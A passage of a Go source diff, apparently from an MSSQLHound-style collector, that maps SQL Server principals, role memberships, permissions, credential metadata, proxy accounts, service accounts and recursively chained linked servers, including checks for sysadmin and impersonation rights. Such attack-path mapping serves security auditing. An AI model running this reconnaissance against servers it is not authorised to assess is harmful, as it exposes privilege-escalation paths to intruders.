fully-qualified table name + // The USE statement doesn't always work properly with go-mssqldb + query := fmt.Sprintf(` + SELECT + p.principal_id, + p.name, + p.type_desc, + ISNULL(p.create_date, '1900-01-01') as create_date, + ISNULL(p.modify_date, '1900-01-01') as modify_date, + ISNULL(p.is_fixed_role, 0) as is_fixed_role, + p.owning_principal_id, + p.default_schema_name, + p.sid + FROM [%s].sys.database_principals p + ORDER BY p.principal_id + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var principals []types.DatabasePrincipal + for rows.Next() { + var p types.DatabasePrincipal + var owningPrincipalID sql.NullInt64 + var defaultSchema sql.NullString + var sid []byte + var isFixedRole sql.NullBool + + err := rows.Scan( + &p.PrincipalID, + &p.Name, + &p.TypeDescription, + &p.CreateDate, + &p.ModifyDate, + &isFixedRole, + &owningPrincipalID, + &defaultSchema, + &sid, + ) + if err != nil { + return nil, err + } + + p.IsFixedRole = isFixedRole.Bool + p.DefaultSchemaName = defaultSchema.String + p.DatabaseName = db.Name + p.SQLServerName = serverInfo.SQLServerName + + if owningPrincipalID.Valid { + p.OwningPrincipalID = int(owningPrincipalID.Int64) + } + + // Generate object identifier: Name@ServerObjectIdentifier\DatabaseName (like PowerShell) + p.ObjectIdentifier = fmt.Sprintf("%s@%s\\%s", p.Name, serverInfo.ObjectIdentifier, db.Name) + + principals = append(principals, p) + } + + // Link database users to server logins using SQL join (like PowerShell does) + // This is more accurate than name/SID matching + if err := c.linkDatabaseUsersToServerLogins(ctx, principals, db, serverInfo); err != nil { + // Non-fatal - continue without login mapping + fmt.Printf("Warning: failed to link database users to server logins for %s: %v\n", db.Name, err) + } + + // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID + principalMap := make(map[int]*types.DatabasePrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + for i := range principals { + if principals[i].OwningPrincipalID > 0 { + if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok { + principals[i].OwningObjectIdentifier = owner.ObjectIdentifier + } + } + } + + // Get role memberships + if err := c.collectDatabaseRoleMemberships(ctx, principals, db, serverInfo); err != nil { + return nil, err + } + + // Get permissions + if err := c.collectDatabasePermissions(ctx, principals, db, serverInfo); err != nil { + return nil, err + } + + return principals, nil +} + +// linkDatabaseUsersToServerLogins links database users to their server logins using SID join +// This is the same approach PowerShell uses and is more accurate than name matching +func (c *Client) linkDatabaseUsersToServerLogins(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + // Build a map of server logins by principal_id for quick lookup + serverLoginMap := make(map[int]*types.ServerPrincipal) + for i := range serverInfo.ServerPrincipals { + serverLoginMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i] + } + + // Query to join database principals to server principals by SID + query := fmt.Sprintf(` + SELECT + dp.principal_id AS db_principal_id, + sp.name AS server_login_name, + sp.principal_id AS server_principal_id + FROM [%s].sys.database_principals dp + JOIN sys.server_principals sp ON dp.sid = sp.sid + WHERE dp.sid IS NOT NULL + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build principal map by principal_id + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var dbPrincipalID, serverPrincipalID int + var serverLoginName string + + if err := rows.Scan(&dbPrincipalID, &serverLoginName, &serverPrincipalID); err != nil { + return err + } + + if idx, ok := principalMap[dbPrincipalID]; ok { + // Get the server login's ObjectIdentifier + if serverLogin, ok := serverLoginMap[serverPrincipalID]; ok { + principals[idx].ServerLogin = &types.ServerLoginRef{ + ObjectIdentifier: serverLogin.ObjectIdentifier, + Name: serverLoginName, + PrincipalID: serverPrincipalID, + } + } + } + } + + return nil +} + +// collectDatabaseRoleMemberships gets role memberships for database principals +func (c *Client) collectDatabaseRoleMemberships(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + query := fmt.Sprintf(` + SELECT + rm.member_principal_id, + rm.role_principal_id, + r.name AS role_name + FROM [%s].sys.database_role_members rm + JOIN [%s].sys.database_principals r ON rm.role_principal_id = r.principal_id + ORDER BY rm.member_principal_id + `, db.Name, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build principal map + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var memberID, roleID int + var roleName string + + if err := rows.Scan(&memberID, &roleID, &roleName); err != nil { + return err + } + + if idx, ok := principalMap[memberID]; ok { + membership := types.RoleMembership{ + ObjectIdentifier: fmt.Sprintf("%s@%s\\%s", roleName, serverInfo.ObjectIdentifier, db.Name), + Name: roleName, + PrincipalID: roleID, + } + principals[idx].MemberOf = append(principals[idx].MemberOf, membership) + } + + // Track members for role principals + if idx, ok := principalMap[roleID]; ok { + memberName := "" + if memberIdx, ok := principalMap[memberID]; ok { + memberName = principals[memberIdx].Name + } + principals[idx].Members = append(principals[idx].Members, memberName) + } + } + + // Add implicit public role membership for all database users + // SQL Server has implicit membership in public role for all database principals + publicRoleOID := fmt.Sprintf("public@%s\\%s", serverInfo.ObjectIdentifier, db.Name) + userTypes := map[string]bool{ + "SQL_USER": true, + "WINDOWS_USER": true, + "WINDOWS_GROUP": true, + "ASYMMETRIC_KEY_MAPPED_USER": true, + "CERTIFICATE_MAPPED_USER": true, + "EXTERNAL_USER": true, + "EXTERNAL_GROUPS": true, + } + for i := range principals { + // Only add for user types, not for roles + if userTypes[principals[i].TypeDescription] { + // Check if already a member of public + hasPublic := false + for _, m := range principals[i].MemberOf { + if m.Name == "public" { + hasPublic = true + break + } + } + if !hasPublic { + membership := types.RoleMembership{ + ObjectIdentifier: publicRoleOID, + Name: "public", + PrincipalID: 0, // public role always has principal_id = 0 at database level + } + principals[i].MemberOf = append(principals[i].MemberOf, membership) + } + } + } + + return nil +} + +// collectDatabasePermissions gets explicit permissions for database principals +func (c *Client) collectDatabasePermissions(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + query := fmt.Sprintf(` + SELECT + p.grantee_principal_id, + p.permission_name, + p.state_desc, + p.class_desc, + p.major_id, + COALESCE(pr.name, '') AS target_name + FROM [%s].sys.database_permissions p + LEFT JOIN [%s].sys.database_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'DATABASE_PRINCIPAL' + WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY') + ORDER BY p.grantee_principal_id + `, db.Name, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var granteeID, majorID int + var permName, stateDesc, classDesc, targetName string + + if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &targetName); err != nil { + return err + } + + if idx, ok := principalMap[granteeID]; ok { + perm := types.Permission{ + Permission: permName, + State: stateDesc, + ClassDesc: classDesc, + } + + if classDesc == "DATABASE_PRINCIPAL" && majorID > 0 { + perm.TargetPrincipalID = majorID + perm.TargetName = targetName + if targetIdx, ok := principalMap[majorID]; ok { + perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier + } + } + + principals[idx].Permissions = append(principals[idx].Permissions, perm) + } + } + + // Add predefined permissions for fixed database roles that aren't handled by createFixedRoleEdges + // These are implicit permissions that aren't stored in sys.database_permissions + // NOTE: db_owner and db_securityadmin permissions are NOT added here because + // createFixedRoleEdges already handles edge creation for those roles by name + fixedDatabaseRolePermissions := map[string][]string{ + // db_owner - handled by createFixedRoleEdges, don't add CONTROL here + // db_securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY APPLICATION ROLE/ROLE here + } + + for i := range principals { + if principals[i].IsFixedRole { + if perms, ok := fixedDatabaseRolePermissions[principals[i].Name]; ok { + for _, permName := range perms { + // Check if permission already exists (skip duplicates) + exists := false + for _, existingPerm := range principals[i].Permissions { + if existingPerm.Permission == permName { + exists = true + break + } + } + if !exists { + perm := types.Permission{ + Permission: permName, + State: "GRANT", + ClassDesc: "DATABASE", + } + principals[i].Permissions = append(principals[i].Permissions, perm) + } + } + } + } + } + + return nil +} + +// collectLinkedServers gets all linked server configurations with login mappings. +// Each login mapping creates a separate LinkedServer entry (matching PowerShell behavior). +func (c *Client) collectLinkedServers(ctx context.Context) ([]types.LinkedServer, error) { + // Use a single server-side SQL batch that recursively discovers linked servers + // through chained links, matching the PowerShell implementation. + // This discovers not just direct linked servers but also linked servers + // accessible through other linked servers (e.g., A -> B -> C). + query := ` +SET NOCOUNT ON; + +-- Create temp table for linked server discovery +CREATE TABLE #mssqlhound_linked ( + ID INT IDENTITY(1,1), + Level INT, + Path NVARCHAR(MAX), + SourceServer NVARCHAR(128), + LinkedServer NVARCHAR(128), + DataSource NVARCHAR(128), + Product NVARCHAR(128), + Provider NVARCHAR(128), + DataAccess BIT, + RPCOut BIT, + LocalLogin NVARCHAR(128), + UsesImpersonation BIT, + RemoteLogin NVARCHAR(128), + RemoteIsSysadmin BIT DEFAULT 0, + RemoteIsSecurityAdmin BIT DEFAULT 0, + RemoteCurrentLogin NVARCHAR(128), + RemoteIsMixedMode BIT DEFAULT 0, + RemoteHasControlServer BIT DEFAULT 0, + RemoteHasImpersonateAnyLogin BIT DEFAULT 0, + ErrorMsg NVARCHAR(MAX) NULL +); + +-- Insert local server's linked servers (Level 0) +INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut, + LocalLogin, UsesImpersonation, RemoteLogin) +SELECT + 0, + @@SERVERNAME + ' -> ' + s.name, + @@SERVERNAME, + s.name, + s.data_source, + s.product, + s.provider, + s.is_data_access_enabled, + s.is_rpc_out_enabled, + COALESCE(sp.name, 'All Logins'), + ll.uses_self_credential, + ll.remote_name +FROM sys.servers s +INNER JOIN sys.linked_logins ll ON s.server_id = ll.server_id +LEFT JOIN sys.server_principals sp ON ll.local_principal_id = sp.principal_id +WHERE s.is_linked = 1; + +-- Declare all variables upfront (T-SQL has batch-level scoping) +DECLARE @CheckID INT, @CheckLinkedServer NVARCHAR(128); +DECLARE @CheckSQL NVARCHAR(MAX); +DECLARE @CheckSQL2 NVARCHAR(MAX); +DECLARE @LinkedServer NVARCHAR(128), @Path NVARCHAR(MAX); +DECLARE @sql NVARCHAR(MAX); +DECLARE @CurrentLevel INT; +DECLARE @MaxLevel INT; +DECLARE @RowsToProcess INT; +DECLARE @PrivilegeResults TABLE ( + IsSysadmin INT, + IsSecurityAdmin INT, + CurrentLogin NVARCHAR(128), + IsMixedMode INT, + HasControlServer INT, + HasImpersonateAnyLogin INT +); +DECLARE @ProcessedServers TABLE (ServerName NVARCHAR(128)); + +-- Check privileges for Level 0 entries + +DECLARE check_cursor CURSOR FOR +SELECT ID, LinkedServer FROM #mssqlhound_linked WHERE Level = 0; + +OPEN check_cursor; +FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer; + +WHILE @@FETCH_STATUS = 0 +BEGIN + DELETE FROM @PrivilegeResults; + + BEGIN TRY + SET @CheckSQL = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], '' + WITH RoleHierarchy AS ( + SELECT + p.principal_id, + p.name AS principal_name, + CAST(p.name AS NVARCHAR(MAX)) AS path, + 0 AS level + FROM sys.server_principals p + WHERE p.name = SYSTEM_USER + + UNION ALL + + SELECT + r.principal_id, + r.name AS principal_name, + rh.path + '''' -> '''' + r.name, + rh.level + 1 + FROM RoleHierarchy rh + INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + WHERE rh.level < 10 + ), + AllPermissions AS ( + SELECT DISTINCT + sp.permission_name, + sp.state + FROM RoleHierarchy rh + INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id + WHERE sp.state = ''''G'''' + ) + SELECT + IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin, + IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin, + SYSTEM_USER AS CurrentLogin, + CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''') + WHEN 1 THEN 0 + WHEN 0 THEN 1 + END AS IsMixedMode, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''CONTROL SERVER'''' + ) THEN 1 ELSE 0 END AS HasControlServer, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''IMPERSONATE ANY LOGIN'''' + ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin + '')'; + + INSERT INTO @PrivilegeResults + EXEC sp_executesql @CheckSQL; + + UPDATE #mssqlhound_linked + SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults), + RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults), + RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults), + RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults), + RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults), + RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults) + WHERE ID = @CheckID; + + END TRY + BEGIN CATCH + UPDATE #mssqlhound_linked + SET ErrorMsg = ERROR_MESSAGE() + WHERE ID = @CheckID; + END CATCH + + FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer; +END + +CLOSE check_cursor; +DEALLOCATE check_cursor; + +-- Recursive discovery of chained linked servers +SET @CurrentLevel = 0; +SET @MaxLevel = 10; +SET @RowsToProcess = 1; + +WHILE @RowsToProcess > 0 AND @CurrentLevel < @MaxLevel +BEGIN + DECLARE process_cursor CURSOR FOR + SELECT DISTINCT LinkedServer, MIN(Path) + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers) + GROUP BY LinkedServer; + + OPEN process_cursor; + FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path; + + WHILE @@FETCH_STATUS = 0 + BEGIN + BEGIN TRY + SET @sql = ' + INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut, + LocalLogin, UsesImpersonation, RemoteLogin) + SELECT DISTINCT + ' + CAST(@CurrentLevel + 1 AS NVARCHAR) + ', + ''' + @Path + ' -> '' + s.name, + ''' + @LinkedServer + ''', + s.name, + s.data_source, + s.product, + s.provider, + s.is_data_access_enabled, + s.is_rpc_out_enabled, + COALESCE(sp.name, ''All Logins''), + ll.uses_self_credential, + ll.remote_name + FROM [' + @LinkedServer + '].[master].[sys].[servers] s + INNER JOIN [' + @LinkedServer + '].[master].[sys].[linked_logins] ll ON s.server_id = ll.server_id + LEFT JOIN [' + @LinkedServer + '].[master].[sys].[server_principals] sp ON ll.local_principal_id = sp.principal_id + WHERE s.is_linked = 1 + AND ''' + @Path + ''' NOT LIKE ''%'' + s.name + '' ->%'' + AND s.data_source NOT IN ( + SELECT DISTINCT DataSource + FROM #mssqlhound_linked + WHERE DataSource IS NOT NULL + )'; + + EXEC sp_executesql @sql; + INSERT INTO @ProcessedServers VALUES (@LinkedServer); + + END TRY + BEGIN CATCH + INSERT INTO @ProcessedServers VALUES (@LinkedServer); + END CATCH + + FETCH NEXT FROM process_cursor INTO @LinkedServer, @Path; + END + + CLOSE process_cursor; + DEALLOCATE process_cursor; + + -- Check privileges for newly discovered servers + DECLARE privilege_cursor CURSOR FOR + SELECT ID, LinkedServer + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + 1 + AND RemoteIsSysadmin IS NULL; + + OPEN privilege_cursor; + FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer; + + WHILE @@FETCH_STATUS = 0 + BEGIN + DELETE FROM @PrivilegeResults; + + BEGIN TRY + SET @CheckSQL2 = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], '' + WITH RoleHierarchy AS ( + SELECT + p.principal_id, + p.name AS principal_name, + CAST(p.name AS NVARCHAR(MAX)) AS path, + 0 AS level + FROM sys.server_principals p + WHERE p.name = SYSTEM_USER + + UNION ALL + + SELECT + r.principal_id, + r.name AS principal_name, + rh.path + '''' -> '''' + r.name, + rh.level + 1 + FROM RoleHierarchy rh + INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + WHERE rh.level < 10 + ), + AllPermissions AS ( + SELECT DISTINCT + sp.permission_name, + sp.state + FROM RoleHierarchy rh + INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id + WHERE sp.state = ''''G'''' + ) + SELECT + IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin, + IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin, + SYSTEM_USER AS CurrentLogin, + CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''') + WHEN 1 THEN 0 + WHEN 0 THEN 1 + END AS IsMixedMode, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''CONTROL SERVER'''' + ) THEN 1 ELSE 0 END AS HasControlServer, + CASE WHEN EXISTS ( + SELECT 1 FROM AllPermissions + WHERE permission_name = ''''IMPERSONATE ANY LOGIN'''' + ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin + '')'; + + INSERT INTO @PrivilegeResults + EXEC sp_executesql @CheckSQL2; + + UPDATE #mssqlhound_linked + SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults), + RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults), + RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults), + RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults), + RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults), + RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults) + WHERE ID = @CheckID; + + END TRY + BEGIN CATCH + -- Continue on error + END CATCH + + FETCH NEXT FROM privilege_cursor INTO @CheckID, @CheckLinkedServer; + END + + CLOSE privilege_cursor; + DEALLOCATE privilege_cursor; + + -- Count new unprocessed servers + SELECT @RowsToProcess = COUNT(DISTINCT LinkedServer) + FROM #mssqlhound_linked + WHERE Level = @CurrentLevel + 1 + AND LinkedServer NOT IN (SELECT ServerName FROM @ProcessedServers); + + SET @CurrentLevel = @CurrentLevel + 1; +END + +-- Return all results +SET NOCOUNT OFF; +SELECT + Level, + Path, + SourceServer, + LinkedServer, + DataSource, + Product, + Provider, + DataAccess, + RPCOut, + LocalLogin, + UsesImpersonation, + RemoteLogin, + RemoteIsSysadmin, + RemoteIsSecurityAdmin, + RemoteCurrentLogin, + RemoteIsMixedMode, + RemoteHasControlServer, + RemoteHasImpersonateAnyLogin +FROM #mssqlhound_linked +ORDER BY Level, Path; + +DROP TABLE #mssqlhound_linked; +` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var servers []types.LinkedServer + + for rows.Next() { + var s types.LinkedServer + var level int + var path, sourceServer, localLogin, remoteLogin, remoteCurrentLogin sql.NullString + var dataAccess, rpcOut, usesImpersonation sql.NullBool + var isSysadmin, isSecurityAdmin, isMixedMode, hasControlServer, hasImpersonateAnyLogin sql.NullBool + + err := rows.Scan( + &level, + &path, + &sourceServer, + &s.Name, + &s.DataSource, + &s.Product, + &s.Provider, + &dataAccess, + &rpcOut, + &localLogin, + &usesImpersonation, + &remoteLogin, + &isSysadmin, + &isSecurityAdmin, + &remoteCurrentLogin, + &isMixedMode, + &hasControlServer, + &hasImpersonateAnyLogin, + ) + if err != nil { + return nil, err + } + + s.IsLinkedServer = true + s.Path = path.String + s.SourceServer = sourceServer.String + s.LocalLogin = localLogin.String + s.RemoteLogin = remoteLogin.String + if dataAccess.Valid { + s.IsDataAccessEnabled = dataAccess.Bool + } + if rpcOut.Valid { + s.IsRPCOutEnabled = rpcOut.Bool + } + if usesImpersonation.Valid { + s.IsSelfMapping = usesImpersonation.Bool + s.UsesImpersonation = usesImpersonation.Bool + } + if isSysadmin.Valid { + s.RemoteIsSysadmin = isSysadmin.Bool + } + if isSecurityAdmin.Valid { + s.RemoteIsSecurityAdmin = isSecurityAdmin.Bool + } + if remoteCurrentLogin.Valid { + s.RemoteCurrentLogin = remoteCurrentLogin.String + } + if isMixedMode.Valid { + s.RemoteIsMixedMode = isMixedMode.Bool + } + if hasControlServer.Valid { + s.RemoteHasControlServer = hasControlServer.Bool + } + if hasImpersonateAnyLogin.Valid { + s.RemoteHasImpersonateAnyLogin = hasImpersonateAnyLogin.Bool + } + + servers = append(servers, s) + } + + return servers, nil +} + +// checkLinkedServerPrivileges is no longer needed as privilege checking +// is now integrated into the recursive collectLinkedServers() query. + +// collectServiceAccounts gets SQL Server service account information +func (c *Client) collectServiceAccounts(ctx context.Context, info *types.ServerInfo) error { + // Try sys.dm_server_services first (SQL Server 2008 R2+) + // Note: Exclude SQL Server Agent to match PowerShell behavior + query := ` + SELECT + servicename, + service_account, + startup_type_desc + FROM sys.dm_server_services + WHERE servicename LIKE 'SQL Server%' AND servicename NOT LIKE 'SQL Server Agent%' + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // DMV might not exist or user doesn't have permission + // Fall back to registry read + return c.collectServiceAccountFromRegistry(ctx, info) + } + defer rows.Close() + + foundService := false + for rows.Next() { + var serviceName, serviceAccount, startupType sql.NullString + + if err := rows.Scan(&serviceName, &serviceAccount, &startupType); err != nil { + continue + } + + if serviceAccount.Valid && serviceAccount.String != "" { + if !foundService { + c.logVerbose("Identified service account in sys.dm_server_services") + foundService = true + } + + sa := types.ServiceAccount{ + Name: serviceAccount.String, + ServiceName: serviceName.String, + StartupType: startupType.String, + } + + // Determine service type + if strings.Contains(serviceName.String, "Agent") { + sa.ServiceType = "SQLServerAgent" + } else { + sa.ServiceType = "SQLServer" + c.logVerbose("SQL Server service account: %s", serviceAccount.String) + } + + info.ServiceAccounts = append(info.ServiceAccounts, sa) + } + } + + // If no results, try registry fallback + if len(info.ServiceAccounts) == 0 { + return c.collectServiceAccountFromRegistry(ctx, info) + } + + // Log if adding machine account + for _, sa := range info.ServiceAccounts { + if strings.HasSuffix(sa.Name, "$") { + c.logVerbose("Adding service account: %s", sa.Name) + } + } + + return nil +} + +// collectServiceAccountFromRegistry tries to get service account from registry via xp_instance_regread +func (c *Client) collectServiceAccountFromRegistry(ctx context.Context, info *types.ServerInfo) error { + query := ` + DECLARE @ServiceAccount NVARCHAR(256) + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SYSTEM\CurrentControlSet\Services\MSSQLSERVER', + N'ObjectName', + @ServiceAccount OUTPUT + SELECT @ServiceAccount AS ServiceAccount + ` + + var serviceAccount sql.NullString + err := c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount) + if err != nil || !serviceAccount.Valid { + // Try named instance path + query = ` + DECLARE @ServiceAccount NVARCHAR(256) + DECLARE @ServiceKey NVARCHAR(256) + SET @ServiceKey = N'SYSTEM\CurrentControlSet\Services\MSSQL$' + CAST(SERVERPROPERTY('InstanceName') AS NVARCHAR) + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + @ServiceKey, + N'ObjectName', + @ServiceAccount OUTPUT + SELECT @ServiceAccount AS ServiceAccount + ` + err = c.DBW().QueryRowContext(ctx, query).Scan(&serviceAccount) + } + + if err == nil && serviceAccount.Valid && serviceAccount.String != "" { + sa := types.ServiceAccount{ + Name: serviceAccount.String, + ServiceName: "SQL Server", + ServiceType: "SQLServer", + } + info.ServiceAccounts = append(info.ServiceAccounts, sa) + } + + return nil +} + +// collectCredentials gets server-level credentials +func (c *Client) collectCredentials(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + credential_id, + name, + credential_identity, + create_date, + modify_date + FROM sys.credentials + ORDER BY credential_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // User might not have permission to view credentials + return nil + } + defer rows.Close() + + for rows.Next() { + var cred types.Credential + + err := rows.Scan( + &cred.CredentialID, + &cred.Name, + &cred.CredentialIdentity, + &cred.CreateDate, + &cred.ModifyDate, + ) + if err != nil { + continue + } + + info.Credentials = append(info.Credentials, cred) + } + + return nil +} + +// collectLoginCredentialMappings gets credential mappings for logins +func (c *Client) collectLoginCredentialMappings(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + // Query to get login-to-credential mappings + query := ` + SELECT + sp.principal_id, + c.credential_id, + c.name AS credential_name, + c.credential_identity + FROM sys.server_principals sp + JOIN sys.server_principal_credentials spc ON sp.principal_id = spc.principal_id + JOIN sys.credentials c ON spc.credential_id = c.credential_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // sys.server_principal_credentials might not exist in older versions + return nil + } + defer rows.Close() + + // Build principal map + principalMap := make(map[int]*types.ServerPrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + + for rows.Next() { + var principalID, credentialID int + var credName, credIdentity string + + if err := rows.Scan(&principalID, &credentialID, &credName, &credIdentity); err != nil { + continue + } + + if principal, ok := principalMap[principalID]; ok { + principal.MappedCredential = &types.Credential{ + CredentialID: credentialID, + Name: credName, + CredentialIdentity: credIdentity, + } + } + } + + return nil +} + +// collectProxyAccounts gets SQL Agent proxy accounts +func (c *Client) collectProxyAccounts(ctx context.Context, info *types.ServerInfo) error { + // Query for proxy accounts with their credentials and subsystems + query := ` + SELECT + p.proxy_id, + p.name AS proxy_name, + p.credential_id, + c.name AS credential_name, + c.credential_identity, + p.enabled, + ISNULL(p.description, '') AS description + FROM msdb.dbo.sysproxies p + JOIN sys.credentials c ON p.credential_id = c.credential_id + ORDER BY p.proxy_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // User might not have access to msdb + return nil + } + defer rows.Close() + + proxies := make(map[int]*types.ProxyAccount) + + for rows.Next() { + var proxy types.ProxyAccount + var enabled int + + err := rows.Scan( + &proxy.ProxyID, + &proxy.Name, + &proxy.CredentialID, + &proxy.CredentialName, + &proxy.CredentialIdentity, + &enabled, + &proxy.Description, + ) + if err != nil { + continue + } + + proxy.Enabled = enabled == 1 + proxies[proxy.ProxyID] = &proxy + } + rows.Close() + + // Get subsystems for each proxy + subsystemQuery := ` + SELECT + ps.proxy_id, + s.subsystem + FROM msdb.dbo.sysproxysubsystem ps + JOIN msdb.dbo.syssubsystems s ON ps.subsystem_id = s.subsystem_id + ` + + rows, err = c.DBW().QueryContext(ctx, subsystemQuery) + if err == nil { + defer rows.Close() + for rows.Next() { + var proxyID int + var subsystem string + if err := rows.Scan(&proxyID, &subsystem); err != nil { + continue + } + if proxy, ok := proxies[proxyID]; ok { + proxy.Subsystems = append(proxy.Subsystems, subsystem) + } + } + } + + // Get login authorizations for each proxy + loginQuery := ` + SELECT + pl.proxy_id, + sp.name AS login_name + FROM msdb.dbo.sysproxylogin pl + JOIN sys.server_principals sp ON pl.sid = sp.sid + ` + + rows, err = c.DBW().QueryContext(ctx, loginQuery) + if err == nil { + defer rows.Close() + for rows.Next() { + var proxyID int + var loginName string + if err := rows.Scan(&proxyID, &loginName); err != nil { + continue + } + if proxy, ok := proxies[proxyID]; ok { + proxy.Logins = append(proxy.Logins, loginName) + } + } + } + + // Add all proxies to server info + for _, proxy := range proxies { + info.ProxyAccounts = append(info.ProxyAccounts, *proxy) + } + + return nil +} + +// collectDBScopedCredentials gets database-scoped credentials for a database +func (c *Client) collectDBScopedCredentials(ctx context.Context, db *types.Database) error { + query := fmt.Sprintf(` + SELECT + credential_id, + name, + credential_identity, + create_date, + modify_date + FROM [%s].sys.database_scoped_credentials + ORDER BY credential_id + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + // sys.database_scoped_credentials might not exist (pre-SQL 2016) or user lacks permission + return nil + } + defer rows.Close() + + for rows.Next() { + var cred types.DBScopedCredential + + err := rows.Scan( + &cred.CredentialID, + &cred.Name, + &cred.CredentialIdentity, + &cred.CreateDate, + &cred.ModifyDate, + ) + if err != nil { + continue + } + + db.DBScopedCredentials = append(db.DBScopedCredentials, cred) + } + + return nil +} + +// collectAuthenticationMode gets the authentication mode (Windows-only vs Mixed) +func (c *Client) collectAuthenticationMode(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + CASE SERVERPROPERTY('IsIntegratedSecurityOnly') + WHEN 1 THEN 0 -- Windows Authentication only + WHEN 0 THEN 1 -- Mixed mode + END AS IsMixedModeAuthEnabled + ` + + var isMixed int + if err := c.DBW().QueryRowContext(ctx, query).Scan(&isMixed); err == nil { + info.IsMixedModeAuth = isMixed == 1 + } + + return nil +} + +// collectEncryptionSettings gets the force encryption and EPA settings. +// It performs actual EPA connection testing when domain credentials are available, +// falling back to registry-based detection otherwise. +func (c *Client) collectEncryptionSettings(ctx context.Context, info *types.ServerInfo) error { + // Use pre-computed EPA result if available (EPA runs before Connect now) + if c.epaResult != nil { + if c.epaResult.ForceEncryption { + info.ForceEncryption = "Yes" + } else { + info.ForceEncryption = "No" + } + if c.epaResult.StrictEncryption { + info.StrictEncryption = "Yes" + } else { + info.StrictEncryption = "No" + } + info.ExtendedProtection = c.epaResult.EPAStatus + return nil + } + + // Fall back to registry-based detection (or primary method when not verbose) + query := ` + DECLARE @ForceEncryption INT + 